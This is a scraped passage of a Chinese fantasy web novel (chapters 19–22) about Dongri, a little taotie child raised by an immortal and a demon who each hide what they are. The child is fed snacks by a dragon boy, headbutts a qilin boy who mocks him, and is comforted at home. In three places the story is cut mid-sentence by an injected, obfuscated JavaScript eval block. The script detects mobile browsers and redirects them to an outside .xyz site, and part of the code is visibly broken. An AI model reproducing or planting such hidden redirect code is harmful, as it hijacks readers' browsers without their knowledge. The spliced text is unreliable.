关键词成功读取，加载完毕。 小家伙自信回答后，还不忘遮掩刚才的心虚。 “……我，我怎么，我没忘记你！” 虽然飘忽的眼神已经将他出卖，但语气保持住了该有的气势。 “……真是的，你，你这么说，可恶！” 裴清律笑了笑，还是不变的温和模样，但气色比住院时好很多，看上去也更有精神了。 裴清律身后跟着裴旌。 一见到这对龙族父子，殷天马上从店里出来。 殷天的语气不咸不淡：“真是贵客啊，特意来照顾我们生意吗？” 裴旌：【你这店面也太寒酸了，就不能搞好点吗】 殷天皱眉，显然不愿跟他用这种方式交流，直接装没听见。 裴清律听不到他们心声交流，但面对殷天不算友好的态度，还是一如既往的得体且大胆。 “殷叔叔，我来找日日玩，可以让他去车上待一会儿吗？车子就停在路边，我不会带他去别的地方。” 殷天还没开口，小家伙就先欢快答应：“好呀好呀！” 虽然家长之间很容易摩擦出火药味，但两个小孩很能玩到一块。 小龙崽喜欢来找冬日玩，冬日也愿意跟他玩。 让他们进店里玩不合适，去附近的家里玩不可能，还要时时刻刻能在殷天眼皮底下的，也只有车上了。 既然冬日已经答应，殷天也不可能做魔鬼家长硬要拆散。 于是裴清律顺利将冬日带上车，还让裴旌留下来做人质。 “你就别上来了，你待在这里，宝宝会有压力，而且殷叔叔也不会放心。” “……” “你还是下去吧，要忙其他事的话可以先走，我等会儿叫司机过来就好。” 对谁都温和的小少爷，面对父亲时却有些冷淡。 而面对殷天跟冬眠都毫不客气，甚至还相当狂妄挑衅的裴旌，在孩子面前反有几分小心翼翼。 “……爸爸不忙，那爸爸去外面，你们好好玩。” 冬日对这些小情绪的变化波动很敏锐，迅速察觉到了这对父子之间的微妙。 但他无法深思，不会表达，还容易被打断转移注意力。 看着裴清律拿出一大袋零食后，冬日就什么都不管了，魂直接被这袋零食勾走了。 “哇——” “哇哇——是好吃的——” 不愧是好吃的小哥哥，在他最需要这些好吃的东西时，就带着这些好吃的东西出现了。 “这些都是给你的。”裴清律说，“上次你说过喜欢的麦片，我特意买了大袋的。” 是混合了水果干跟坚果仁的巧克力燕麦片。 冬日在医院吃过一袋小包装的后，就心心念念难以忘怀。 “哇——” 可惜惊喜不过几秒，忧愁迅速爬上了冬日的小脸。 裴清律便问：“怎么了？” 冬日沉重叹了声气，扁扁嘴：“……可是，可是爸爸不让，我不能吃了……” 最近的遭遇一直无人倾诉。 向裴清律开了个口，那些食欲无法得到满足的悲伤全部涌上心头。 “……我、我每天吃菜，好多多的菜，我不是小兔子！” “吃的肉肉，也不嫩……我喜欢嫩嫩的，我不喜欢，要塞缝缝的！” 19.第 19 章 和爸爸的熟悉感不断增加，关系自然随之亲近，那么胆子会开始变大，然后小小的抱怨也多了起来。 冬日乖巧安静的模样招人喜欢，扁嘴抱怨的模样也很可爱鲜活。 结合这些抱怨跟住院时的身体情况，不难猜出这几天家长对他做了什么。 无非就是停了所有零食甜品，只喂他新鲜健康的食材。 然后新鲜健康过了头，让冬日感到很不适应。 要放在普通小孩身上，家长这么安排当然没问题。 可冬日不是普通小孩，他甚至是只小饕餮，零食甜品根本对他造成不了什么伤害，就怕家长还控制了他的饮食量。 该不会被养死吧？ 裴清律问了最要紧的：“那你最近能吃饱吗？” 提到这个，冬日就更委屈了。 虽然之前家长也常说吃太多不好，会有意控制他的食量，可那时控制并不严格，家里也有很多零食，他还是能每天吃得饱饱。 现在定时定量，再多就没了。 吃的时候是能吃饱没错，可三分饱跟十分饱的区别简直天上地下。 小饕餮崽崽的胃口又大，总是饿得很快，现在三餐间隔只能啃啃粗粮水果，根本吃不到口味刺激的食物。 冬日悲伤地摇了摇头。 想说的话有很多很多，只恨自己词汇量不足，不能流利畅快地表达。 但他悲伤沉默的表情已经回答一切，此时无声胜有声。 裴清律也沉默了，真开始担心冬日要被养死了——那必然是不行的。 难得遇上这么有趣的事，他还好奇这家之后会怎样呢。 家长一个仙官一个魔物。 孩子则是神兽小饕餮。 关键他们并不知晓对方的身份，竟处于互相隐瞒的状态。 两个家长怎么都称得上是法力高强的存在，就是没发现家里的崽崽是非人类。 孩子明明很傻乎乎，多问一句就能问出答案的。 要知道孩子是只小饕餮，他们会是什么样的反应？ 当然，如果知道自己努力隐瞒，甚至还妄想保护的爸爸原来这么厉害，也反向隐瞒了自己这么久，小饕餮崽崽又会是什么反应？ 想想就很有趣。 这种事能遇上几次？ 一辈子难道还会有第二次吗？ 所以裴清律不仅选择帮冬日保密，没将他的真实身份告诉任何人，还愿意帮冬日打配合，不让他的身份暴露。 因为隐瞒的时间越久，最后引爆的场面就越壮观——在结果揭晓那一刻到来前，可他不希望冬日是以快被养死的原因暴露。 虽然算是给了他一个机会，能通过这件事跟冬日搞好关系，拉近距离。 裴清律想了想：“那以后我经常来找你，你想吃什么告诉我，我来的时候带给你，好不好？” 小家伙的抱怨就是很单纯的抱怨，绝对没到要裴清律给自己带食物的层面。 何况他也想不到这层。 所以听到裴清律这么说后，那双委屈黯然的大眼睛，一秒闪回充满希冀的光彩。 世上竟还这样的好事？ 这哪里还是好心善良的小哥哥，这简直他的救命恩人！ “……真、真的嘛？” 生怕裴清律在开玩笑，紧张到必须再确认一下的程度。 裴清律笑着：“当然是真的，你可以现在想，我明天就带给你。” “今天是来不及了，只能委屈你吃这些零食了。” 冬日才不觉得委屈。 这么多天没吃到零食，现在给他吃什么都能获取最大满意值。 “我要吃漏漏！嫩嫩的漏漏！” 都不需要太多时间，这是肉食小饕餮永恒不变的初心，对肥肉的渴望不会被任何情况击倒。 “好，那我给你带嫩嫩的肉。” 表达方式虽有些抽象，可结合前后对话就不难猜。 “我家厨师最擅长做好吃的肉，那明天我们也在这里见面，我一定让你尝尝。” 只要能投其所好，小饕餮崽崽就是全世界最好哄的生物。 一顿肉的约定，再加一袋零食的投喂，裴清律在他心里的地位飞速上升。 “对了，上次你喜欢的麦片，这回还是混合口味的，你尝尝。” “嗯嗯，好哦！” 这种心境下再吃零食，快乐又翻好几倍。 拆开包装袋，冬日伸手抓出一把燕麦脆片：“绿绿的，哥哥你看，还有黑黑的！” 上回是单一的鲜奶巧克力脆壳。 混合口味则有好几种，多了抹茶的，草莓的，还有黑巧克力的。 颜色丰富多样，哄冬日这样的小朋友刚刚正好。 将每个口味都吃过一遍后，小家伙又拆了块大大的巧克力软曲奇。 然后开始吃薯片吃锅巴，吃奶芙条吃香蕉片。 吸完一袋果冻后，还吃了两包奶枣。 啃完夹心饼干后，又吃了一盒脆皮泡芙球。 被强行压制多日的渴望终于得到满足。 吃太健康了真不行。 他的身体也需要这些零天然纯添加的包装食物。 “呼——嗝——” 吃完最后一根海苔卷，冬日摊平在座位上，畅快地舒展全身，边伸懒腰边打嗝。 舒服了舒服了。 这下是躯体跟内心都吃饱了，摸摸鼓出来的小肚子，冬日朝着裴清律嘿嘿一笑。 “……我吃好啦，谢谢你，小律哥哥！” 虽然大吃特吃的期间根本看不出，但每次吃前跟吃完后，他其实都有不好意思。 裴清律托着下巴看他：“本来这袋都是给你的，不过你家里不能吃……那还是放我这里，明天再吃吧。” “嗯嗯！” 刚出现几秒的不好意思立刻消失，冬日点头答应，还不忘叮嘱：“……明天来哦，我明天会来！” “嗯，我一定来。” 裴清律应着，心里也很遗憾他们没能住近些。 要是住在附近该多好，每天能在一起的时间就长了，就不用开车跑来跑去了。 “那我们现在下车吧，待太久了大人可能会过来，就会抓到我在喂你吃东西了。” 其他方面不好说，但在偷吃相关方面，冬日的悟性最高。 裴清律只需说这么一遍，他就很懂是什么意思。 “……嗯嗯，好！明天，再上车！” 也多了一个很明确的目标，那就是明天一定要吃到嫩嫩的肉。 “小律哥哥，我的嘴巴，要擦擦！” 还比裴清律多了一点要擦嘴巴的干净细致。 裴清律便抽了两张纸巾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011816|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来，为他擦干净嘴边的食物渣子。 莫名有些想笑。 看来这小家伙真是经常偷吃的，还记得要擦嘴巴。 “好了，擦干净了。” “嗯，谢谢哥哥！” 吃饱喝足，毁尸灭迹。 冬日下车时心情愉悦，步履轻快，终于能给整个世界好脸色。 嘀嘀嘀—— 不承想后面突然传来一阵尖锐刺耳的喇叭声，紧接着一辆黑色轿车停在了他们的车后。 还是紧紧贴着车尾的急刹，两辆车之间的距离不会超过一厘米。 哪怕只是声势吓人，可冬日刚下车，才走了没几步，很自然会被吓到。 殷天跟裴旌正在店内大眼瞪小眼。 他们听到了这一巨大声响，却不知道发生了什么，同一时间朝外面看去。 冬日吓得往裴清律身边一贴，而裴清律看清这辆车的车牌号码后，温和的神情瞬间变得无比冷漠。 车后座门打开，一个看上去跟裴清律年龄身形都相仿的男孩跳了下来。 “我就说是你家的车，果然没认错。” 男孩模样周正，浓眉大眼，就是态度有些吊儿郎当，不是很正经的样子。 而面对这个男孩，给人感觉仿佛永远温润柔和的裴清律就像换了个人。 皱起眉头，眼神淡漠，嘴角轻撇。 怎么看都是在嫌弃，很不情愿搭理。 “你怎么会来这里，也是来买面包吗？” 男孩自顾自地说下去：“网上说这家店的面包造型很奇特，我还以为你不会对这种东西有兴趣呢，没想到你——” 话没说完。 因为裴清律压根没准备搭理，只是拉着冬日的手，连个眼神都不给：“宝宝，我们进去吧。” “……” 被无视的男孩面露不虞，视线转移到冬日身上。 先短暂愣了愣，随后皱眉冷笑，语气带着明显的嘲讽：“什么宝宝，真恶心。” “这是哪里来的小矮子，还是个丑八怪，你什么时候喜欢跟这种丑八怪玩了？” 殷天没从店里出去，但已经开启监听模式，听到了到外面的所有谈话。 亲耳听见这小子居然敢说冬日是丑八怪，当场怒从心起，准备打他去重新投胎。 虽然他也时常觉得冬日麻烦，至今都没打消干脆哪天一口吞掉算了的念头。 可好歹是他们养了两个多月的崽，怎么都轮不到外人来说三道四。 没人教训的死小鬼。 等下就让他知道厉害。 殷天直接站起，大步朝着店门走去。 可刚抬手摸上门把，就见冬日跟个小导弹一样从裴清律身边发射，迅速猛蹿到男孩面前。 咚—— 一个原地起跳，脑袋撞在对方下巴上。 下巴再硬都硬不过脑袋。 非常果断有效的闭嘴方式，直接让人的嘴巴从下边闭起来了。 男孩也没料到冬日有这么猛。 好一个小铁头，说来就来。 当场步伐混乱，往后狂退好几米，最后摔倒在地。 冬日自己也跟着失去平衡，倒在人家身上。 但爬起来后立刻捏紧一双小拳头，很不服气地说着：“……你才是，丑八怪！你大丑八怪！大大丑丑八怪！” 20.第 20 章 无须家长出手，冬日仅凭自己就解决了这场突发危机。 吃饱了就是不一样。 耳朵听力清澈，回应速度奇快，小脑袋攻击更是强而有劲。 不止站在旁边的裴清律看愣了，还在里面的殷天跟裴旌都愣了。 这哪是软糯小汤圆，这分明钢铁小硬球，嗖嗖嗖哐哐哐地就砸上去了。 裴清律赶忙上前，关切地询问冬日：“……你还好吗，脑袋疼不疼？” “……” 被捶倒在地，一时都起不来的男孩闻言，眼神非常怨念地看向裴清律。 竟然不是关心他有没有事，而是先问那小孩的脑袋会不会疼？ 下一秒，裴清律就看向了男孩。 眼神瞬间从关怀切换到嫌弃。 四目相对，裴清律只有冷冰冰的：“陆承宵，你真的很幼稚很无聊。” “……” 嫌弃的眼神明显是在说“活该”。 名叫陆承宵的男孩更生气了，浓眉皱在一起，眼眸凶狠。 但奇怪的是，面对这样的情况，他不见想要反击的样子，并且在看向裴清律的眼神里，莫名有几分很强烈的控诉感。 男孩的司机下了车，连忙要扶他：“小少爷，您没事吧？” 男孩并没扶上对方的手，一把甩开，然后凭自己从地上爬起来。 视线紧紧盯着裴清律，语气有几分咬牙切齿：“……我才没事，这点根本算不了什么。” 实际下巴很疼。 真的很疼很疼。 冬日那么一下撞上来时，男孩完全控制不住本能的生理反应，泪水直接开始在眼眶里打转。 但视线转移到冬日身上，他硬撑着：“……哼，就这么点能耐吗，你真弱。” 如果他的手能从下巴移开，眼底也没发红，这话大概会更有说服力些。 “……” 但冬日观察没这么细致，将男孩的嘴硬挑衅信以为真。 怒火超级加倍。 捏紧的小拳头紧上加紧，决定再给他他来一下。 裴清律看出了他的冲动，连忙按住这颗愤怒的小钢球。 这时，殷天跟裴旌也从里面出来了。 殷天看向男孩，眼神阴暗压迫，只是才往前走一步，先被裴旌挡住了。 裴旌开口：“小霄，你怎么在哪里，你还好吗？” 裴旌：【别在外面乱来，你也不想引起混乱骚动吧】 殷天挑了挑眉。 他可不信裴旌真是为了维护社会安定，说这话明显只是想要保下男孩——但算裴旌找对理由了，殷天确实不好在外引起骚动。 否则小神仙知道，又要不高兴了。 而男孩见到裴旌，挑衅的眼神立刻消散，眼神跟姿态瞬间乖了起来。 “裴叔叔……” 裴旌默默叹气。 陆承宵是他好友家的孩子，因为平日监护人纵容宠溺，所以说话处事总是嚣张跋扈，但本性并不算坏。 “小霄，你来这里做什么？” “……” 男孩原本是打算来这里买面包的。 他在网上刷到这家面包店，看到面包的造型特殊诡异，千奇百怪，一下就起了兴趣。 但闹这么一出，现在什么心情都没了。 “没做什么，我只是路过这里。”面对长辈，男孩倒很有礼貌，“那我先走了，裴叔叔再见。” 随后转身上车。 离开的步伐跟背影透着微妙憋屈，感觉自己来这一趟好像是专门为了挨揍。 殷天本想给这小子一点颜色看看，最轻叫他路上爆胎，或者跟什么东西撞一撞。 管他什么身份权势，敢欺负他家小孩只剩死路一条。 但转念想想，这样容易引发不可控的后果，小神仙要知道了，估计会更生气。 而且冬日已经小铁头出击，直接将人撞翻在地，当场就报仇雪恨了。 男孩经过他们身边上车，空气里弥漫开一股不同寻常的气味。 若隐若现，并不明朗。 殷天嗅了嗅，确定自己的鼻子没有出错，这才意识到小男孩竟也不是人类。 大概是冬日真撞狠了，撞到男孩身体机能都有些失控了。 从气味判断，大概率是个小麒麟。 只是跟小脆龙一样，气味不纯，估计也有一半是人类血脉。 难怪裴旌认识，还不让他出手了。 殷天看向冬日，走到他身边后，蹲下摸了摸这颗还在愤怒中的小钢球。 第一次见小家伙这么生气的模样，还怪可爱有趣的。 “还在生气啊？你刚才都把人家撞飞了。” “不过撞得很好。”殷天说，“以后谁敢欺负你，你就这么撞他，有多大力就撞多大力。” “今天表现很好，爸爸很骄傲。” 裴旌：“……” 裴清律：“……” 这样对吗？ 这样的家教方式真的没问题吗？ 裴家父子双双沉默，都没想到殷天的安慰方式如此与众不同。 更没想到的是，真起效了。 瞬间起效。 效果拔群。 原本冬日真的可生气了。 哪怕爸爸出来了，对面夹着尾巴逃走了，可他就是不能消气。 在见到殷天的时候，也是委屈感最爆棚的时候。 他哪里是丑八怪了。 他才不是。 他也没有个子矮小。 因为他现在还是个宝宝啊，他以后肯定会长高长大的。 怎么可能这样说他！ 真是太坏了！ 他真的很想跟殷天告状，最好让殷天用自己那张凶脸去恐吓男孩吓唬男孩。 那么凶的一张脸，他有时看到还得愣愣冷静一下呢，肯定能吓哭对方。 可惜告状的话到嘴边又说不出来。 莫名只剩不安。 怕殷天会不喜欢他告状，怕殷天会觉得他没用。 也怕自己反击了，殷天会觉得他脾气坏，不是乖小孩了。 直到亲耳听见殷天的认可跟表扬，殷天竟然还说为他感到骄傲呢！ 被说丑八怪的难受顷刻间消散，阴暗愤怒的内心被激动的烟花炸了满屏。 好像都没那么害怕殷天了。 先前从不觉得，可这一秒小家伙重新审视起自己对待殷天的看法——他们之间，搞不好会合得来呢！ 小家伙立刻点头答应：“……嗯嗯！宝宝撞坏人！” 然后开始显摆：“全部撞飞！我，我才不怕呢！” 殷天揉揉他脑袋：“真了不起啊宝宝，真是好样的宝宝。” 冬日更激动了，当场回以大大的笑容。 裴家父子沉默地看着，对大魔物的家教方式感到一丝担忧。 虽然从理论出发，他这么教也不算有错，但认可跟鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017422|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 励不一样，鼓励跟怂恿更不一样……只能说，他确实是个大魔物没错。 小小的插曲过后，裴家父子也离开了。 临走前，裴清律跟冬日挥手告别：“那我先走了，明天见宝宝。” 冬日沉浸在被殷天表扬的喜悦中，笑眼弯弯地同裴清律告别：“嗯嗯！明天见哦！” 但小幼崽的情绪总是一阵一阵的，而“丑八怪”这三个字留给冬日的伤害，远比他想象中更大。 这天本该很完美很开心。 他终于吃到两个不太健康的甜品，还吃了一顿纯添加的包装零食。 被压制多日的食欲得到大满足。 又得到了殷天的认可跟表扬，跟殷天之间的关系因此变得亲近。 可喜悦的心情渐渐平静，想回顾这一天的快乐时，却只有“丑八怪”的伤害杀出重围，泼了冬日一桶难以释怀的冷水。 晚上冬眠到家，客厅里只见殷天一人，小家伙不知去向。 因为今天早上冬日难得缠上殷天，没跟着自己，冬眠正好有时间回天界汇报寻找小魔物的最新情况。 实际在那边并没待很久，只是天界跟人间的时间流速不同，等他汇报完到家，已经是晚上八点多。 冬眠的视线在屋内搜索一圈，确定真没有小家伙的身影后，才问殷天：“日日去哪了？” 殷天头也没抬：“不就在旁边吗？” “……” “是不是睡着了，我说怎么这么安——” 回到家后，殷天难得做起正事。 上网搜查着各家甜品店的差评榜，看看哪些品类又难做又难吃，决定给店铺来次大上新。 否则生意真要越来越好了。 长此以往那还了得？ 只是他跟冬眠差不多，对人间的电子设备不太擅长，看得很是头疼。 不知不觉中变得很全神贯注，然后就忽略了周围的情况。 听到冬眠的声音，才发现冬眠回来了。 再听到冬眠的询问，才发现冬日不见了。 “……这小子去哪里了？！” 冬眠瞪着眼，重重叹出一口气，本就疲惫的身心更加疲惫。 “日日最好没事，要出点什么意外，我勒死你。” 威胁性命的话也是越说越熟练了。 见冬眠要迅速展开搜找的模样，殷天突然道：“……等等，估计是去照镜子了，先去卫生间看看。” 冬眠一顿：“照镜子？” “对。”殷天道，“今天回来后一直这样，时不时就要跑去照一会儿镜子。” “……” 这行为太过匪夷所思，之前都没见过。 冬眠不是很愿意相信，可好奇心又让他想验证是真是假。 于是打住了想要呼喊冬日的念头，跟着殷天一起走到卫生间门口，小心翼翼探出半个脑袋，结果还真看到了冬日在里面照镜子。 小家伙站在定制的踩脚凳上，对着镜子左右扭身，认真端详。 时不时伸手捣鼓头发，似乎想给自己换个发型。 嘴里念念有词，只是声音很轻，暂时听不出他在说什么。 殷天：【看，我说他在照镜子吧】 冬眠：【……他好像还在说话，听听他说了什么】 稍施法术，他们便听清晰了。 冬日是对着镜子里的自己说：“才不丑呢……哼，好看的……是最好看的……最漂亮的宝宝……” 21.第 21 章 听清小家伙在对着镜子说什么，冬眠跟殷天满头震惊的问号。 原来是在对着镜子自恋啊？ 小家伙什么时候有这种癖好的？ 因为距离高度关系，他们只能看到冬日的背影跟侧面，并不能看清他在镜子里的具体神情。 冬眠：【……今天在外面发生了什么吗？】 冬眠出门是去做正事，不可能跟殷天发消息闲聊——主要他们也不可能闲聊，所以冬眠还不知道日日牌小钢球出击的事。 所以现在殷天才有机会将这件事说出来。 听完后，冬眠就更震惊了。 他在身边时，每天过得平平淡淡，结果刚离开一天，就出了这种意外。 看着眼前这个娇小软糯的背影，还是一个有着营养不良跟轻微贫血的小家伙——他竟然能把一个小麒麟撞翻在地？这合理吗？ 殷天：【还以为人间太平呢，没想到也挺热闹，这就见到两个小神兽了】 由此看来，小魔物可选择的附身对象还挺多，今天遇上的小麒麟也需暂时加入怀疑名单。 冬眠按了按额头：【可是这跟他照镜子有什么关系？】 总不能是那个小麒麟长很好看，所以刺激到了他，突然开始在意自己的外貌了？ 殷天耸肩：【不知道啊，换谁也猜不到这小子的行为逻辑啊】 ……这倒是。 因为人类幼崽的行为根本没有逻辑可言。 可能上一秒还在幻想去星星上玩，下一秒就是裤子卡屁股缝了。 冬眠想了想：【你说小麒麟对日日出言不逊……那是不是他说的哪些话有问题？】 殷天本就是一款很粗糙的大魔物，非自愿成为人类幼崽的父亲后，更是一款很粗糙的父亲。 抱臂回忆半天，最后得出结论：【没有吧，就只说了那么一句，说完还立刻被这小子顶飞了】 【而且后来他心情挺好的，不像有被这件事影响】 但说完后，殷天后知后觉意识到了可疑的关联处。 殷天：【等等，我想起来了，那小麒麟说他是丑八怪来着】 当时真没往心上放，只忙着震惊小家伙做出的强力反击。 后来事情过去了，就更不会多想。 两人视线又同时转移到正在照镜子的小家伙身上。 嗯，这不就对上了？ 顺利破案了。 原来小家伙是在介意这声“丑八怪”。 有点好笑又有点可怜。 没想到这么小的孩子会开始在意外貌了。 还在意到回家后疯狂照镜子，肯定是受打击挺重了。 冬眠：【不管是不是故意，这小麒麟都太过分了】 殷天：【下次要再碰上，我一定教他重新做人】 但心疼小家伙的同时，冬眠又多了几分对他的佩服。 虽然明显有被对方的言论伤到，可小家伙没有因此悲伤低落，没有自我怀疑内耗，而是对着镜子自我欣赏，自我肯定。 受不了。 怎么还会自己夸自己是最好看最漂亮的宝宝啊？ 他到底是想萌死谁啊？ 正照镜子的冬日也是一个全神贯注，并没察觉到身后的门框边上，挂着一高一低两个脑袋。 其实最初他也是有过自我怀疑的。 怎么可能会没有呢。 被一个陌生人当面这么评价，再漂亮都会自我怀疑几秒。 只是多照照镜子，他就找回自信了。 因为镜子里的他就是又漂亮又可爱啊。 才不是丑八怪呢。 他必然是全世界最好看的饕餮宝宝。 越照越有自信，躯体扭动的姿势也越夸张，看他凹个特别的造型，晚上先让爸爸们独家欣赏。 奈何袜子突然打滑，身体失去平衡，眼见就要从狭小的踩脚凳上摔下去了。 “——日日！” 冬眠手疾脚快，一秒蹿上去将孩子接住。 “呜噫！” 冬日下意识闭紧双眼，直直落在冬眠怀里。 没有摔疼，但有些吓到。 确定自己真听到了爸爸的声音，他缓缓睁开双眼。 “……爸爸！” 冬眠抱着他站起来，呼出一口气。 还好没摔地上，否则刚出院没几天，怕不是又要进去了。 “没事吧？” 小家伙拍拍胸口：“……吓到宝宝了！” 冬眠笑着顺了顺他小小的胸膛：“不怕不怕，没有摔，爸爸接住你了，没事了。” 冬眠没问小家伙在做什么，也没解释自己为什么会及时出现，而是另辟话题：“爸爸刚刚回来……今天就早上见到了爸爸，你有没有想爸爸啊？” “……” 上来就是这样的问题，冬日扑闪扑闪眨巴眼。 照理来说肯定是要想一想的，可今天过得刺激动魄，他就真忘记要想冬眠了。 面对冬眠，小家伙又说不出虚假的违心话，于是气氛在他的沉默中，一点点变得诡异。 冬眠原来只是开玩笑这么一说，态度不过才两三分的认真。 可眼见小家伙陷入沉默，居然无法回答这个问题，那事态就不一样了，性质开始变了。 冬眠又等了一会儿，意识到冬日真只有沉默时，不敢置信地问了出来：“……嗯？你没想爸爸吗？” “……” “……你真的没想爸爸吗？爸爸离开这么久，你都没发现爸爸不在家吗？” “……” 沉默着没有回答。 沉默亦是最好的回答。 冬眠感觉心脏空了几秒，一股没预料的失落蔓延开来。 他们明明只是为完成任务而组建，等任务结束就会解散的家庭罢了。 他对小家伙的照顾爱护不过出于责任跟任务需要，等到任务结束，就会为他找户好人家领养的短暂关系而已。 可为什么呢。 发现小家伙没想自己时，他居然会这么失落，以及有些不愿承认答案的排斥。 还以为他们亲近了很多呢。 毕竟冬日都会叫他爸爸了，还会跟他撒娇了，平时也更愿意黏着他……结果只是在身边时，就近需要的本能依赖吗…… 小孩子好真实。 真实又好残忍哦。 冬眠心头凉了又凉。 可以为从小家伙身上找不到安慰时，冬日又张开双臂抱上去，环住了冬眠的脖子，软乎乎的小脸贴到他的脖颈处。 “……对、对不起！” 小家伙向他道歉，语气有些无措，但很认真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15023504|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地做起了保证。 “……因为，今天我很忙，我明天，会想你的！” 冬眠发凉的心脏瞬间回温发暖，接着连全身都暖了。 这么个小小软软的东西贴在怀里抱住了自己，身躯热烘烘的，声音奶乎乎的，又是道歉又是保证——这谁受得了？！ 哪怕是假话，哪怕小家伙明天就忘了，此时此刻冬眠都受不了啊。 赶紧更用力地环抱住小家伙，恨不得把这颗小汤圆揉扁才好。 冬眠故意问：“……真的吗？你明天真的会想我吗？” “嗯嗯！我会想！”冬日用力点头，“我明天，会很想你！” “那只有明天想吗？后天还想不想？” 虽然名字叫冬日，但因为年纪小，对人类世界的认知也不够深，实际对“日子”的概念并不多。 他知道“明天”是第二天的意思，可到“后天”就不知道是第几天了。 为了含含糊糊地萌混过关，小家伙大胆一亲冬眠的脸颊，接着又说好听话哄道：“……嗯嗯，我每天都想你！” 又是亲又是哄。 冬眠当场心底发软，像泡进暖汪汪的热牛奶里，都快整个泡发了。 “好，那你每天都要想爸爸，爸爸也会每天想你的。” 并没忘记小家伙照镜子的原因，心情好多了，冬眠礼尚往来，也安慰哄起了冬日。 “爸爸今天一直都在想你呢。” “好想好想我们可爱漂亮的日日宝宝啊……怎么会有日日这样好看的乖宝宝，爸爸最喜欢日日了。” 小家伙前一秒还心里没底，不确定自己这么说能不能萌混过关。 下一秒听到冬眠的称赞，顿时心花怒放，全盘接受，自信回归，高兴到翘了翘脚，开始摇摆躯体。 可不就是嘛。 他就说嘛。 他就是最好看最漂亮的饕餮宝宝啊。 才不可能是什么丑八怪。 “……是哦，我好看的宝宝！” 没有谦让没有害羞，小家伙坦荡自然地接受这份赞美。 心情因赞美逐渐更好，对冬眠的喜爱值也再度当场上升。 黏黏糊糊地抱着冬眠，小家伙的语调都是奶乎乎的甜味。 “……是你的宝宝哦！” 冬眠感觉四肢百骸得到前所未有的治愈，赶紧深呼吸一口气缓缓。 自从接下监督殷天诛杀小魔物的任务后，他几乎就没轻松过。 必须保证不在人间引起混乱麻烦，需要忍受殷天的不受控跟骚扰就算了，最打击人的还是小魔物分裂后，任务进行变得更加艰难。 期间还收养了冬日，挤了很多时间用来照顾这个小家伙。 可只有在冬日身上，他的付出得到了回报，还是最有效最治愈的回报。 冬眠将脸贴到小家伙软绵绵的脸颊上，反复蹭来蹭去，还低头亲了一口。 “再亲爸爸一口。” 冬日被冬眠蹭得呼吸都紧了紧，其中有一口气憋了好几秒。 如果殷天这么对他，他真的会当场呼叫警察叔叔前来救命。 但冬眠这么对他就没事，喘过气后，立即乖乖在冬眠脸上亲了一口。 亲得很用力。 亲出了一声清脆的“啵”，还自带音效：“mua！” 22.第 22 章 冬日的性格其实挺记仇，奈何忘性更大，注意力还不集中。 睡过一夜，就将前一天的不愉快抛至脑后了。 第二天早餐时间，他准时抵达餐桌旁报道。 虽然健康饮食快吃腻了，但照样还是得吃。爸爸敢给多少，他就能吃多少。 而且今天早餐不算差，是近期最有滋味的一顿。 一碗配料丰富的海鲜炒面，再加一个全麦煎饼卷滑蛋。 看到炒面，冬日眼睛都直了。 配料有虾仁螃蟹贝壳，还有腊肠肉沫，蔬菜则加了彩椒跟青菜。 酱汁黏糊糊油汪汪的，光看卖相就好吃到不得了。 因为筷子用得还不熟练，冬日吃面条主要靠勺子卷。 卷了超大一团塞进嘴里，两颊塞得鼓鼓，幸福地嚼吧嚼吧，感动到眼泪都快掉下来了。 咸香咸香油滋滋的。 这一口真好吃啊，真想每天都能这么吃啊。 第一口还没全部咽下，小家伙就迫不及待卷了第二口。 好吃到舞动全身，很有节奏感地在座椅上左右扭了扭。 简直能把人可爱死。 冬眠看着他鼓鼓的脸颊，萌得心脏发颤，却不得不提醒：“宝宝慢点吃，别吃这么急啊。” 小家伙吃饭是很香，光看就让人特别有食欲，但速度未免太快了，才眨眼的功夫，已经把第三大口塞进嘴里。 只是冬日充耳不闻。 这是吃饭，饭桌就是他的战场，实在慢不了一点。 接着就是第四口第五口塞进嘴巴，大口大口香喷喷地吃，很快将一盘炒面吃完。 要不是还顾及着自己在爸爸面前的形象，他恨不得低头把盘子都舔干净了。 “面面很好吃哦！宝宝喜欢！” 全部吃完，还不忘给予大大的赞美。 最好家长能再给他一碗。 可惜冬眠说：“好，那我们明天早上再吃，今天已经够多了，不能再吃了。” 小家伙猜到会是这样的回答，因此被拒绝也没很失落，只抿抿嘴唇：“好吧，那明天吃哦……” 随后开始解决旁边的煎饼。 先将煎饼中间裹着的滑蛋全部抠出来吃了，再用煎饼刮着炒面剩下的油水，最终还是将盘子刮得干干净净。 真正做到一滴都没有浪费。 虽然还能吃下很多，但勉强算不饿了。 